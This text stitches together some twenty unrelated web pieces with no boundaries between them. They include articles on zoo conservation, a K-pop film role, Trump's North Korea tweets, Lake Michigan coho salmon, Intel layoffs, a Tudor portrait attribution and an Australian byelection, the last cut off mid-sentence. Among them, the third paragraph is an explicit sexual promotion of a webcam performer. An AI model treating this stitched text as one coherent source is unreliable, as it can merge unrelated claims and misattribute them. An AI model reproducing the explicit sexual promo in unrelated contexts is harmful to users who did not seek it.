When you talk to animal lovers, zoos can be a controversial topic. Some see zoos as a place of education that allows the general public to encounter some of the most wondrous species in the world. But others see zoos as unnatural and intrinsically cruel to the animals trapped behind the bars. This debate extends to the topic of conservation. Many people assert that zoos are helping the ecosystem by saving species threatened by extinction. The basic idea is that if a species is struggling in the wild, it can be protected in zoos. Breeding can be encouraged in a safe environment, and the public can be educated about the dangers the species is facing. Zoos have some track records of success. When the California condor was down to fewer than 30 birds, all remaining birds were placed in zoos. Through a captive breeding program, the species was restored and reintroduced into the wild. But some people are skeptical of this model. PETA asserts that “most animals” in zoos are not truly endangered and that the motivations of the zoos are not necessarily aligned with true conservation. “Zoos aren’t breeding animals with the intent of replenishing threatened populations,” PETA says. “Babies bring visitors through the gates, and captive breeding gives the public a false sense of security about a species’ survival. But that belief undermines support for and diverts resources from in-situ conservation efforts.” But not everything zoos do is necessarily within the walls of the zoo itself. The Association of Zoos and Aquariums tout its SAFE program that leverages zoo audiences to raise awareness for endangered animals. While SAFE does coordinate the placement of endangered animals within zoos, it also devotes resources to the field. It aims to rehabilitate animals in their natural habit and create a rebuilding strategy for the species. One example of SAFE making a difference is with the African penguin. “One year after its successful Kickstarter campaign to design, build, and test artificial nests for African penguins, the team has reported great success in developing the first artificial nest that mimics the biological parameters of natural nests almost perfectly, and the penguins have responded positively,” according to a SAFE report. “Two hundred artificial nests were installed and monitored at two penguin colonies in 2018 and nearly all (96 percent) were occupied at some point during the year.” Although some people accuse zoos of paying lip service to education while not really providing any educational value, across numerous endangered species, such as the American red wolf, it seems like a solid effort is being made by SAFE-affiliated zoos. “The American red wolf SAFE program was started with the hope of increasing awareness for this critically endangered native species,” Chris Lasher, North Carolina Zoo animal management supervisor, said in the SAFE report. “After less than a year, the American red wolf is seeing the advantages of being an AZA SAFE program with the increased exposure of the wolves’ story to a wider audience.” There are some other fears about using zoos to rehabilitate species. Inbreeding within zoos can change the genetic makeup of species, making it harder to reintroduce them into the wild. Animals can also contact fungi and bacteria in zoos that may not be found in their native habitat, which poses a risk to their wild ecosystem. Ultimately, the ideal place for conservation is a species’ natural habitat. But if there is not enough habitat remaining — or circumstances are extremely dire — then placement in zoos can be a last-ditch effort to save the species. In addition, zoos can help endangered species by deploying their expertise, education and other resources to help wildlife in the field. Zoos definitely have a place in the conservation process. But it should continue to be a larger strategy than just putting endangered species behind bars. This May, Care2 is launching a campaign to protect endangered species. Join us to save these real-life fantastic beasts! This article was first published by Care2.com on 7 May 2019. Lead Omage Source: Ring-tailed Lemurs are very common in zoos but critically endangered in the wild Photograph: Alamy Stock Photo

2NE1 Dara's first lead role will be in the upcoming movie 'One Step'! According to the production company�MCC Entertainment, Dara and actor Han Jae Suk have been�confirmed to play the leads in the new film 'One Step', previously called 'Echo'.� Dara will be playing Siyeon, who perceives sounds with colors. Han Jae Suk will be taking on the role of Jee Il, a formerly famous songwriter currently in a slump. The movie is about the two working together and growing together. 'One Step' is set to premiere before the end of 2016.�

Now, I know I can’t find a way to connect that beautiful pink hair that LunaLamb is wearing to furries, but I’ll see what can be done. Until then, this beautiful pale babe is bouncing around in her room, sometimes on her back, sometimes on a dildo. Either way, I love it when she bounces and it’s so fun to watch! LunaLamb‘s adorable face will have you in chains, submitting to her godliness, and especially when she shows you those perky little nipples. That impressive collection of Pokémon in the background is impressive, but it won’t even come into the top 10 list of things you’ll be looking at in LunaLamb‘s room, with the first spots occupied by everything that this beautiful babe does, is and creates. Go see her!

The historical commission was given unfettered access to ministry documents which showed down to smallest detail how the Nuremberg race laws – which after 1934 transformed Jews into an underclass without rights – allowed the bureaucrats to pillage and steal on an unprecedented scale from their victims, especially after the war began.

A leading jeweller is looking to use digital ledgers, pioneered by Bitcoin, to record the history of precious gems in a bid to increase the transparency of their stones' history and weed out thieves. Leanne Kemp, an international director at Edgelogix, told the Financial Times that she is working with UK insurance firm Aviva to create an online record called Blocktrace to help police authorities and insurers trace the history of precious stones such as diamonds. “I’m not excited about bitcoin. It’s the underlying technology that really excites me,” Kemp said, relating to how Blocktrace could help verify the history of Edgelogix's products on a decentralised online ledger - like that utilised by crypto-currencies such as Bitcoin. If the transactions were recorded on an online ledger system, the firm could break its dependency on third party group such as banks to authenticate gem transactions, which would instead be available on Blocktrace's open record. Kemp added that such technology could be used to map digital ledger certificates onto precious gems. Last September, the Bank of England praised Bitcoin's ledger system in its first crypto-currency report: “The application of decentralised technology to this platform of digital information could have far-reaching implications; other industries whose products were digitised have been reshaped by new technology.” Adding that the distributed ledger could have a much broader use than just in the financial industry.

Apple today uploaded eight new "Shot on iPhone" videos to its YouTube channel, showcasing the video capturing capabilities of the iPhone 6s and iPhone 6s Plus through videos taken by actual iPhone users around the world. Each video clip lasts for 16 seconds and is accompanied by music. Video content ranges from a rain storm in Los Angeles to penguins in Antarctica to a hippopotamus in Botswana. Several of the videos showcase iPhone 6s video features like Slo-Mo, while others are played in reverse or are sped up. Apple's "Shot on iPhone" campaign began in early 2015 following the launch of the iPhone 6 and the iPhone 6 Plus, sharing photos of iPhone 6 images in ads and on billboards across the globe. Later in 2015, Shot on iPhone expanded to encompass video imagery collected in a World Gallery . Apple re-launched the "Shot on iPhone" campaign in early 2016 to focus on the camera improvements in the iPhone 6s and the iPhone 6s Plus.

All photos courtesy Europe Comics Death of Stalin, the French graphic novel detailing two days of chaos between Joseph Stalin’s stroke and the announcement of his death, will get a new reprint ahead of the upcoming film adaptation. Perfect timing too, because (for some weird reason) we should remind ourselves what actual totalitarian governments are like. The novel, written by Fabien Nury and illustrated by Thierry Robinshows, focuses on the events between March 2 and March 4, 1953. According to the publisher, it was “two days that encapsulated all the insanity, the perversity, and the inhumanity of totalitarianism.” The graphic novel reveals the scary reality behind Stalin’s control in the days before his death. For example, it opens with an orchestra being forced by the military to play for hours so Stalin could get a recorded version of their performance. After Stalin’s heart attack, the novel goes into the attempts to keep the dictator alive, while members of his government conspire against one another to secure power after his inevitable death. Everyday people are treated like pawns— they live in fear and are ordered to do unspeakable things. Many are imprisoned or killed for slight offenses. It’s a story of violence and greed in a society that’s been corrupted by absolute power. It’s a stern reminder of what dictatorships are really like, taking propaganda away to show the true effect they have on people. However, the creators did say it’s technically historical fiction, even though it’s based on real events, because of how patchy and incomplete recounts from those days are. G/O Media may get a commission Aurora by Bellesa Buy for $74 from Bellesa Boutique Use the promo code AURORA25 Titan Comics will be printing a new English version of the graphic novel, as announced at ComicsPRO this week. In part, it’s because of the film adaptation by Veep creator Armando Iannucci, which has gotten U.S. distribution by IFC. The reprint should be available this fall. However, for those who want to check it out sooner, there’s a translated version available on Amazon Kindle. [The Hollywood Reporter]

PM Cameron says he hopes to keep UK border controls in Calais LONDON, June 27 (Reuters) - Prime Minister David Cameron on Monday said he wanted to keep in place arrangements with France that allow British border controls to be based in the French port of Calais, following last week's decision to leave the European Union.

Amber Guzak sized the moment up right. ``My husband [Ray] caught a fish [July 3] on Lake Michigan that’s pretty impressive-- a 17.8-pound coho (not a king),’’ she messaged. ``He’s been doing this for many years and has never come across a coho this size before.’’ That’s enough of a freak of a coho that I emailed Ben Dickinson, Indiana’s Lake Michigan fisheries biologist, to make sure it was a coho and not an oddly colored Chinook. ``Sure looks like a big coho,’’ he responded. ``I’ve seen a few that size caught this year. Probably a few others caught that weren’t widely shared as most people assumed they were kings.’’ Guzak caught his big coho just north of the Indiana state line, his wife messaged. They keep their boat, Reel Distraction, at Marina Shores in Burns Harbor, Ind. Something big is going on in southern Lake Michigan and I don’t just mean the occasional big Chinook, even 30-pound kings have already been reported in Illinois. But there are coho of a size not seen in decades. In my weekly reports from Capt. Bob Poteshman, he has been consistently calling them, ``big chunky coho.’’ In early June, Poteshman’s Confusion charters had already turned up a 17-pound coho, caught by Tom Zurek of Orland Hills, out of North Point Marina. This week in his weekly report, Capt. Scott Wolfe reported, ``Again coho dominated the catch with some big kings in the mix too--6- to 7-pound coho make up most of the catch with some this week up to 13 pounds.’’ As of Wednesday afternoon, there were already eight Chinook of 30 pounds or heavier weighed from boats in Salmon-A-Rama, based in Racine, Wis. and running through Sunday. All 10 top spots for coho were 10 pounds or heavier, the heaviest going 14.18. ``I would say they seem a bit larger than last year, yes – but really they have been larger than average for the last two or three years,’’ Dickinson emailed. Illinois Lake Michigan Program manager Vic Santucci emailed, ``I have been hearing some anecdotal reports of big salmon being caught again this year, but we will not see any data until after our fall harbor surveys and the summer creel data is tabulated over the winter. ``I think the bigger salmon are the result of better predator/prey balance in the lake.’’ Dickinson put the credit in the same spot. ``I feel fairly confident in saying that the biggest reason is the stocking reductions over the past few years have resulted in a much better predator prey balance in the lake – the reduction alleviated the predation pressure on the baitfish, so as a result we’re seeing more bait, and the silver fish have all improved in size and body conditions,’’ he emailed. ``We’ve seen very nice steelhead size in addition to the big coho and very large kings. There’s more bait to go around for the salmon in the lake. It’s quite the turnaround since the small, skinny fish in 2015!’’ I’ve been doing the outdoors for the Sun-Times for more than two decades and never figured that the coho records in Indiana or Illinois would ever be challenged again. I’m beginning to wonder if those coho records might not just be challenged but perhaps surpassed this year. ``Breaking our 20-pound, 9-ounce coho record would be quite a feat and a fun challenge for our local anglers,’’ Santucci emailed. ``We have had several Lake Michigan records broken for other species in recent years, it would be great if we could add a new coho record to the list.’’ Carry VandeVusse caught that Illinois record on May 24, 1972. That was back in the early years of the experimental introduction of salmon into Lake Michigan to control alewives. Significantly, 1972 was the same year that John Beutner caught the Indiana record (20-12) in LaPorte County. ``I would not be shocked to see a record, but I would be mildly surprised,’’ Dickinson emailed. ``Given the number of mid-teen coho I have seen it certainly seems to be in striking distance by the end of the year or maybe even next year if there is another good year for alewife and coho.’’ Last word goes to Amber Guzak on her husband Ray, ``He’s been fishing Lake Michigan since he was a young boy and said he has never seen one this big.’’

The White House offered a mixed reaction Tuesday to an apparent diplomatic overture from North Korean leader Kim Jong Un to neighboring South Korea, and to Seoul’s proposal to begin talks directly with Pyongyang next week, a move that could sideline the United States in the volatile region. After staying mum for two days about Kim’s offer, President Trump issued a tweet early Tuesday that repeated his favorite insult for the North Korean ruler, and then seemed to take partial credit for any thaw on the Korean peninsula while staying ambivalent about possible outcomes. “Rocket man now wants to talk to South Korea for first time. Perhaps that is good news, perhaps not — we will see!” Trump wrote. But on Tuesday night, Trump added a truculent nuclear taunt in response to Kim’s claim that the United States is “within the range of our nuclear strike and a nuclear button is always on the desk of my office.” Moments after Fox News highlighted the quote, Trump tweeted: “Will someone from his depleted and food starved regime please inform him that I too have a Nuclear Button, but it is a much bigger & more powerful one than his, and my Button works!” If Washington was wary, Seoul appeared eager to accept Kim’s offer, which was part of a New Year’s speech that is closely analyzed each year for clues to the enigmatic leader’s thinking. The two longtime adversaries have not held direct talks for more than two years. Cho Myoung-gyon, South Korea’s minister for unification, proposed Tuesday that negotiators meet on Jan. 9 at the divided border village of Panmunjom to discuss cooperation at next month’s Winter Olympics in Pyeongchang, South Korea, and how to improve overall ties. So far, no North Korean athlete has qualified for the Games, which start on Feb. 9. But South Korean officials have said they are working with the International Olympic Committee to grant wild cards to North Korean athletes in a sign of inter-Korean reconciliation. The Jan. 9 talks, should they take place, notably would not include the United States, China, Japan or Russia, which have dealt with North Korea in unsuccessful multi-party negotiations in the past. Nor would they include U.S. demands that Pyongyang give up its growing nuclear arsenal, and stop testing long-range ballistic missiles. That raised red flags for U.S. officials who questioned Kim’s motives, his sincerity and South Korea’s ability to deal with the wily ruler. “We won’t take any talks with North Korea seriously if they don’t do something to ban their nuclear weapons,” Nikki Haley, the U.S. ambassador to the United Nations, said at the U.N. on Tuesday. She said Pyongyang was a “reckless regime” that could not be counted on to enter talks in good faith. “We don’t need a Band-Aid,” she said. “We don’t need to stop and take a picture.” The State Department was less openly critical even as it urged caution. “We are close allies, and if [South Korea] wants to sit down and have a conversation with North Korea, that’s fine, that’s their right,” State Department spokeswoman Heather Nauert said. “But we aren’t necessarily going to believe that Kim Jong Un is sincere.” White House Press Secretary Sarah Huckabee Sanders insisted that the U.S. alliance with South Korea is “stronger than it ever has been,” with both countries working toward a denuclearized Korean peninsula. U.S. strategy continues to be “maximum pressure” to convince Pyongyang to end its nuclear program, she said. “We are going to keep all of our options on the table.” Chinese Foreign Ministry spokesman Geng Shuang, at a regular news briefing on Tuesday, said China “welcomes and supports” an opportunity for the two Koreas to improve relations, ease tensions and denuclearize the peninsula. “This is a good thing,” he said. Some analysts suggested that Kim was attempting to exploit recent divisions between Washington and Seoul. Relations between the long-standing allies have been strained under Trump, who has openly clashed with South Korean President Moon Jae-in. Trump, who visited Seoul in November, has repeatedly threatened to scrap a bilateral free trade deal with South Korea, and last summer condemned what he called Seoul’s “talk of appeasement” with the North. “Talks are not the answer!” he tweeted on Aug. 30. Moon, in turn, appeared to rebuke Trump’s threat to unleash “fire and fury” against North Korea, saying any military actions on the Korean peninsula required consultation and agreement from Seoul. He has publicly suggested military talks with the North in an effort to ease the growing impasse. On Tuesday, Moon appeared to align with the U.S. view about the long-term goal of any negotiations, suggesting talks with Pyongyang this month might be a first step. “The improvement of relations between North and South Korea cannot go separately [from] resolving North Korea’s nuclear program,” Moon said ahead of a Cabinet meeting. Kim may feel he can offer talks from a position of strength. In September, his government tested its sixth and most powerful nuclear device. In November it tested a long-range ballistic missile that U.S. officials said could potentially reach anywhere in America. In his New Year’s speech, Kim declared his nation had achieved the “historic feat of completing” its nuclear force and that the entire United States was now within range. He also warned that the “nuclear button” was on his desk, although it appears more symbolic than strategic. North Korea still has not developed a nuclear weapon that can survive a missile launch and reentry, though U.S. officials say that’s probably a matter of time. And the country still uses liquid-fueled ballistic missiles that take hours or days to launch. North Korean Leader Kim Jong Un just stated that the “Nuclear Button is on his desk at all times.” Will someone from his depleted and food starved regime please inform him that I too have a Nuclear Button, but it is a much bigger & more powerful one than his, and my Button works! — Donald J. Trump (@realDonaldTrump) January 3, 2018 In his speech, Kim appeared conciliatory toward South Korea, saying the two countries “should lower the military tensions on the Korean peninsula to create a peaceful environment.” Rather than showing strength, Kim may be showing his skill at making the best of a weak hand, said Sue Mi Terry, a former CIA analyst who now holds the Korea Chair at the Center for Strategic and International Studies, a nonpartisan Washington think tank. “With his outreach offer, he has the potential to drive a wedge between Washington and Seoul at no cost to himself,” she said, adding he might even demand concessions in return for participation in the Olympics. It would be a “propaganda gold medal for Kim,” Terry said. But if the Moon administration makes unilateral concessions to the North, she added, “it significantly risks straining the alliance” with the Trump administration. Over the last year, the United Nations Security Council and the Trump administration have both imposed trade sanctions on North Korea, curtailing its ability to buy oil and gas, sell agricultural products, use overseas workers to raise foreign capital, or conduct other business in international markets. Ian Bremmer, president of the Eurasia Group, a risk analysis consultancy, said Tuesday that the chances of a significant breakthrough, forged on the back of the Olympic Games, have elevated. But the unknown and potential spoiler is Trump’s reaction. Trump could launch an “enormously dangerous” Twitter firestorm, Bremmer said, or “take a 180-degree turn,” take credit for any progress, as his tweet Tuesday seemed to do, and then revive talk of a possible deal with Pyongyang that only he could cut. “We are at a bigger chance than during any time in the Obama administration for dialogue,” Bremmer said. “And we are at a bigger chance for war.” [email protected] For more on international affairs, follow @TracyKWilkinson on Twitter UPDATES: 7:38 a.m.: This article was updated with a new headline. 5:55 p.m.: This article was updated with a tweet from President Trump. 4:45 p.m.: This article was updated with reaction from China. This article was originally published at 4 p.m.

I PERSONALLY hate the Palace Pier in its current form. It is a blot on the seafront that perpetuates a culture that brings Brighton down and entrenches its reputation as a cheap, out-of-date seaside destination. Today there are very much two Brightons: the inland one of vibrant creative industries, modern restaurants and a dynamic population – and the seafront of tacky sideshows, fish and chips, rock and assorted paraphernalia. Unfortunately for Brighton, a large proportion of outsiders see it primarily as a destination for the latter rather than the former. I have been working in Brighton now for five years, while still living in London, and I can say that this is pretty much universally the impression that Londoners have of the city. This is a massive public relations problem. Luckily though, it is still a big draw, otherwise commercially it would fail (as many other British seaside resorts have). Indeed, whenever Brighton Fringe happens, people ask me how we compete with Brighton Festival – I reply that Brighton Festival is quite irrelevant really as the biggest competitor to Brighton Fringe is actually the seafront. However, this is a ticking time bomb and, in good time, I believe that the Brighton seafront will go the same way as other faded Victorian seaside resorts before it and become an embarrassment. There have been some attempts to turn the arches by the Pier into an artists’ hub but it hardly makes a dent in what is currently on offer, which is more akin to West Street than anything else. The current Brighton Pier is a beautiful photo opportunity on the outside and a disappointingly poor amusement arcade on the inside, surviving as a result of the endless day trippers coming from all over the country, and indeed the world, to try it out just once before going away for ever. Brighton has the largest number of day trip visitors of anywhere in the UK after London, mostly due to the pier and pavilion, so there seems to be no shortage of people willing to spend their two pence on those machines, via Sports Direct and Primark on their way back to their coaches. I see the parades of them every day from my office in the Old Steine. Brighton needs attractions that are dynamic and more ahead of the curve. The pier is a golden opportunity to create a destination that fits in with the times. Get that right and the rest of the seafront will follow suit: proper restaurants, bars, shops, galleries, a decent performance venue. Yes, maybe still some of the same sideshows but that should not be the sole raison d’être as it currently is. In short, a chance to move into the 21st century. The i360, controversial as it may be in certain quarters, is the start of something that can change the perception of that part of the city’s seafront. It should not be a shiny corporate entity either but at least it will be bringing a new angle to attract visitors to the city. One just has to look at the lamentable state of the promenade above Madeira Drive as a forerunner for the way that the rest of the seafront could well go otherwise. But for the endless stream of car rallies and charity events, Madeira Drive would be an utter wasteland. Brighton is extremely lucky to be located where it is and to have a (relatively to the UK) good rail connection but the council is complacent if it relies on the visitor number successes the city has so far – successes that the council has presided over largely as an outsider. It’s time for the Brighton seafront to learn from the rest of the city and move along. Why not a Michelin star restaurant on the pier or a location for local artists to establish themselves, a theatre, cinema or a small conference venue? I believe it is still there for the taking and hasn’t been fixed properly anywhere else along the local seafront, (except perhaps with Riddle and Finns). Brighton Marina had the chance to become something the rest of Brighton seafront never was, but instead became a tacky, cynical, empty, commercial pastiche of what is already everywhere else. What a waste. Even though I still happen to live in London, due to what I do, I consider myself a proud, passionate Brightonian and I long for a seafront that reflects what the rest of the city has woken up to in terms of visitor and local resident provision.”

Time for more music announcements! We’re gonna do this for a month by the way. Gird your loins. The (un)official band of Taco Bell, Lame Genie! Shark Party Master of Ceremonies, Sam Mulligan & The Donut Slayers! Better than a bowl of Fruity Pebbles, Wreck The System! Click the artist names to read their bios!

「アサシンズプライド」は、天城ケイによるライトノベル。 イラストはニノモトニノが担当しています。ファンタジア文庫（KADOKAWA）で2016年1月より刊行中にて、発行部数はシリーズ累計40万部を記録している人気作品です。物語は、主人公クーファ=ヴァンピールが、公爵家に生まれながら無才の少女メリダ＝アンジェルと共に、裏の任務や各々の運命と対峙していくファンタジー作品です。 マナという能力を持つ貴族が、人類を守る責務を負う世界。能力者の養成校に通う貴族でありながら、マナを持たない特異な少女メリダ=アンジェル。彼女の才能を見出すため、家庭教師としてクーファ=ヴァンピールが派遣される。 『彼女に才なき場合、暗殺する』という任務を背負い－－。能力が全ての社会、報われぬ努力を続けるメリダに、クーファは残酷な決断を下そうとするのだが……。 「オレに命を預けてみませんか」暗殺者でもなく教師でもない暗殺教師の 矜持（プライド）にかけて、少女の価値を世界に示せ！

To celebrate the BEP-2 EQL token (EQUAL) listing on Binance DEX, EQUAL is excited to announce an EQL trading competition on Binance.org — with up to 10,200,000 EQL to be airdropped to eligible traders. Campaign Period: 42 days, from August 19th 2019 0:00:00 AM (UTC) to September 30th 2019 11:59:59 PM (UTC), split into 6 rounds, 7 days per round. Total Rewards: 10,200,000 EQL Overview Total Rewards Budget: 10,200,000 EQL Duration: 6 weeks (42 days) Requirements: Daily volume greater than 300,000 EQL (Buy & Sell) on a minimum of 5 days a week. Minimum volume of 1,500,000 EQL per round Traders must hold 100,000 EQL & 10 BNB in the address to qualify each competition day. Trading Competition T&Cs:

The articles posted here come from a variety of sources around the web. My hope is that this information may awaken the mind and quicken the spirit -- so that one may discern, pray, and declare the importance of these days.

Looks like the layoffs at Intel that SemiAccurate said would happen began today. Worse yet the layoffs were at DCG/DPG as predicted but other areas not expected to get cut were hit as well. You might recall last November SemiAccurate exclusively brought you news that Intel was going to reorg, let key people go, and lay off 25-33% of DCG in Q1/2020. A few days later we brought you more exclusive news that DCG was now called DPG and several key people were retiring, and a few got promoted. That is two of the three key points confirmed in less than a week. It took about a month for Intel to post something about the reorg, which we again exclusively brought you, but they still haven’t officially admitted to it. We can’t explain this last bit. That left the massive cuts to DCG/DPG that the company didn’t actually deny. Their statement to us was, “Reports of large employee reductions in our data platform business group are inaccurate.” Remember kids, tense matters. SemiAccurate took that statement of confirmation of the third point but we didn’t want to say that until it happened which brings us to today’s events. First we want to wish all those laid off a speedy search for a new home. Based on the number of our sources talking to you or your colleagues, it doesn’t look like it will be a long slog to find a job this time. That said this is not a good thing for anyone. We previously said that 25-33% of DCG would be laid off, and that appears to still be happening but not all of it is happening today. Unfortunately for those involved there is more to this story, and it isn’t just limited to DCG any more, something we said may happen in our initial article. Now we can add a bit of color to the news and add a few more groups to the list. Note: The following is analysis for professional level subscribers only. Disclosures: Charlie Demerjian and Stone Arch Networking Services, Inc. have no consulting relationships, investment relationships, or hold any investment positions with any of the companies mentioned in this report.

Are you looking for ways to improve your business website? Want to know why adding video should be one of the techniques to try? We share five reasons you should use video on your website in the infographic below, here are the key points: Selling is about storytelling, and videos are a great way to share a story Videos keep people on your website longer and engage them with your content People work with people, and video helps people get to know, like and trust you Videos keep your audience interested, no matter your product or service Videos are fast and convenient Enjoy the infographic. This post was first published on the Red Website Design Blog.

The latest update for zombie survival sandbox DayZ brings with it several new fixes and features, including a few tweaks that will stop some players and spawned zombies from being invisible to others, according to a post on the game's Tumblr. Additions have also been made to the steadily-growing hunting and cooking system. A new system for "emissive" textures has been implemented, which will make the air around fires give off a heat haze. Players can also now upgrade fireplaces to make makeshift heat ovens for cooking in the wilderness. New craftable content included in the update, besides fireplaces and cooking improvements, includes PVC bows and tweaks to the AKM gun that will make it compatible with the DayZ attachment system. The team is working on a side-mounted PSO scope to add on to AK weapons as well. Throwing, ragdoll and bow and arrow physics have also been smoothed over for more realistic arcs. Arrows will also now stick into targets and the animations for drawing and firing bows has been improved. New towns have also been added to the Chernarus map, tucked away and abandoned in the green landscape. Pictures of two such areas can be found in the Tumblr post. The team is also working to improve animal, collision and roaming zombie pathfinding and optimizations for the persistent loot system. Once the build containing these updates is stable, developer Bohemia Interactive will push it live. Future updates will include vehicles and a barricading system, according to the post.

An intriguing mystery surrounding one of the most important portraits of the early 16th century has been solved by an art historian at St John’s College. Portrait of Lady Margaret Beaufort by Meynnart Wewyck Image supplied by: St John's College, University of Cambridge (8154679) The painting of Lady Margaret Beaufort - mother of King Henry VII - is the first piece of work identified as by Dutch artist Meynnart Wewyck, and the oldest large-scale portrait of an English woman. While Wewyck was Henry VII’s preferred painter, his name has been unknown because the absence of a signed or documented work has made it impossible to attribute paintings to him. His 180cm tall by 122cm wide painting is the earliest large-scale portrait of an English woman, and one of the earliest large-scale portraits of a single individual in the UK. Educationalist and philanthropist Lady Margaret was one of the wealthiest women in England and, once her son was on the throne, used her money to build schools, churches, and two University of Cambridge colleges – Christ’s and St John’s. The portrait of her held at St John’s was originally believed to have been given to the college in the late 16th century. But fellow Dr Andrew Chen, an art historian, found documents in the college archives referring to a painting of Lady Margaret by Wewyck arriving at St John’s in 1534. Analysis of tree rings in the wooden frame of the portrait showed it was made before 1521, enabling Dr Chen and Dr Charlotte Bolland, senior curator at the National Portrait Gallery, to link the painting to the one referenced in the college records. Dr Chen said: “This portrait of Lady Margaret Beaufort is one of the most important portraits of the early 16th century. It demonstrates that elite patrons were working with European painters who had the skills to realise large, ambitious compositions even before Hans Holbein the Younger arrived in the England in 1526.” Paintings of women depicted on their own in a large-scale format are very rare. Dr Andrew Chen Picture: St John's College, University of Cambridge (8154681) Dr Chen explained: “On smaller scales, portraits of women would be displayed in houses or circulate as part of marriage negotiations. Women are also shown on larger scales as donors in altarpieces, but in these contexts they are associated with religious subjects and normally paired with men. “The composition of our Lady Margaret portrait derives from the art of sacred settings, but, significantly, here the woman comes to stand alone. This innovation in format seems to be related to the fact that she was the foundress of institutions.” The portrait was commissioned shortly after Lady Margaret’s death, around 1510, by John Fisher, Bishop of Rochester and Lady Margaret’s advisor. In 1534 he fell out of favour with King Henry VIII, Lady Margaret’s grandson, and his home was raided by the king’s henchmen, who stole or destroyed many of his possessions, including books he had promised to St John’s College Library. But the portrait of Lady Margaret was safe at the Bishop of Rochester’s palace in Lambeth Marsh and was transported to St John’s shortly afterwards to ensure it would not be destroyed. Dr Mark Nicholls, Tudor historian and fellow of St John’s, said: “In contrast to the similar portrait of Lady Margaret in the college's hall, which was commissioned from the artist Rowland Lockey in 1598, the origins of this painting have long been mysterious. “Now, thanks to a productive coming together of scientific analysis and close reading of surviving documents in the college's collection, we can recognise a remarkable early Tudor portrait for what it is, and place it accurately in the long tradition of portraiture on display in the college.” Researchers have now connected Wewyck to a portrait in similar style of Henry VII, owned by the Society of Antiquaries of London. Further technical analysis of the paintings may help discover further pieces. Dr Chen said: “These paintings can serve as touchstones for further research into Wewyck’s work. As perhaps the first Netherlandish painter to find work at the Tudor court, Wewyck stands at the beginning of a process of the transfer of artistic skills that would dominate the production of painted portraiture in England throughout the 16th century. It’s a very exciting discovery.” Read more Alzheimer's breakthrough from University of Cambridge scientists 'could lead to drug trials in two years' Knighthood for Prof Christopher Dobson, master of St John’s College, in recognition of ground-breaking Alzheimer’s research

Liberal candidate expresses stance in contrast to party’s official policy as he comes under fire over climate change This article is more than 1 year old This article is more than 1 year old The Liberal candidate for Wentworth, Dave Sharma, has said “he is open” to relocating Australia’s embassy to Jerusalem as the US has done, in contrast to the official policy of both the Liberals and Labor to leave it in Tel Aviv. As the battle in the Wentworth byelection enters its final week, the votes of the large Jewish community that lives in Wentworth could be crucial to whether the Liberals hold the seat. There are around 20,000 Jewish people in Wentworth, according to the 2016 census, making up 12.5% of the population. Tony Abbott says Turnbull 'owes it' to Liberals to endorse Wentworth candidate Read more The issue is highly contentious as Jerusalem is important to both the Palestinians and Israelis, and its future will be central to the two-state solution that Australia and others have backed. Sharma, a former Australian ambassador to Israel, said at a candidates’ forum on Monday: “I think we should be open to considering it as Australians. The US has done it.” But he added: “We need to look at in context of a two-state solution.” But on his Twitter feed and during his pitch to Liberal preselectors he has been more explicit. Dave Sharma (@DaveSharma) Even if we don’t move Embassy, we shld at least consider recognising Jerusalem as Israel’s capital (w/o prejudice to its final boundaries or potential status as capital of future Palestinian state). Where else do we disagree with a country about where its capital is? https://t.co/F30Dh1GOyN Dave Sharma (@DaveSharma) Trump’s announcement on Jerusalem, though risky, carries with it an opportunity to advance peace. Will he take it? pic.twitter.com/hIioxWhA5n The main candidates are due to participate in a panel at the Jewish Board of Deputies in Woollahra on Tuesday but the candidates faced questions on the embassy question on Monday when they participated in the Sydney Morning Herald’s candidate panel at Bondi Surf Bathers Life Saving Club. The leading independent candidate and local GP, Kerryn Phelps, who is a convert to Judaism, said it was “a difficult issue” and that if elected, she would be seeking briefings on the impact moving it would have on achieving a two-state solution. 'Taken over by extremists': Malcolm Turnbull's son urges voters to dump Liberals Read more But Labor’s Tim Murray said though he recognised how important the issue was to people in Israel (he referred to the views of Israel’s Labor leader), he said Australia should only consider such a move once a two-state solution was achieved. “I would want a two-state solution first, and on basis of a strong peace consider moving to Jerusalem,” Murray said. This was the first time Sharma had appeared on a panel with his main rivals: Phelps, Murray, the Greens’ Dominic Wy Kanak and independent Licia Heath. Not surprisingly, climate change dominated as an issue. Outside the surf club in driving rain, GetUp staged a small protest. A number of activists dressed as prime minister Scott Morrison brandished lumps of coal, while another dressed as former prime minister Tony Abbott shivered in his budgie smugglers. Facebook Twitter Pinterest GetUp demonstrators took aim at the Coalition’s record on climate change outside the candidate’s forum. Photograph: Carly Earl/The Guardian Sharma said he accepted the scientific evidence showing climate change was caused by human activity and said he supported Australia’s Paris commitments. He repeated the government’s assurances that the nation was on track to meet its pledged cuts to greenhouse gas emissions by 2030, even though several expert reports, including the World Bank, have cast doubt on this. Sharma also said the nation needed to address energy affordability and security. “Coal currently provides 60% of our energy and will be part of the energy mix for years to come, he said. This brought a robust exchange from the other candidates. Facebook Twitter Pinterest Dave Sharma is mobbed by protesters as he arrives at a candidates forum in Bondi on Monday. Photograph: Carly Earl/The Guardian “You are in a party dominated by climate change sceptics and unless you cross the floor you will be part of a party with no climate change policy,” Phelps said. If elected, Phelps said, she will work across the major parties to achieve policies that address climate change. Murray said the Coalition had a complete lack of comprehensive policy on either climate change or energy and without it they were powerless to effect power prices. “They are wrong that renewables are more expensive,” Murray said. He urged a vote for Labor, arguing it was the only party that could form government and actually deliver a climate change policy. But Murray also came under pressure. He had pledged in his opening address to work within the Labor party to stop the giant Adani mine in Queensland’s Galilee basin going ahead. But Phelps said unless he crossed the floor, which would result in expulsion from the Labor party, he was powerless to vote against Adani’s Carmichael coalmine. Facebook Twitter Pinterest (L-R) Liberal candidate Dave Sharma, independent Kerryn Phelps, Labor’s Tim Murray, Greens candidate Dominic Wy Kanak and independent Licia Heath. Photograph: Carly Earl/The Guardian On the question of the summary dismissal of the former member, Malcolm Turnbull, Sharma said he “shares that frustration of his electorate” of Wentworth over the infighting that led to Turnbull’s ousting as prime minister. “I consider him a mentor and a friend and appalled at treatment meted out to him,” he said. Kerryn Phelps urges Wentworth voters to use byelection to protest 'inhumane' refugee policies Read more But he warned the choice facing electors this Saturday was stability or instability: a one-seat majority or a hung parliament. Turnbull held Wentworth with a 17% margin, two-party-preferred. But the Liberals are bracing for a hit this Saturday, with Phelps and Murray both commanding significant slices of the vote in a field of 16 candidates. Polls have indicated the Liberals’ primary vote has been slashed to the low 40s or even as low as 38.8%, according to a weekend Voter Choice Project poll of 723 people. Phelps, who is polling around 23% of the vote, could win if she comes in second and then gets over the line with Murray’s preferences and the preferences of others. Phelps again faced questioning over why she had put the Liberals ahead of Labor on her how to 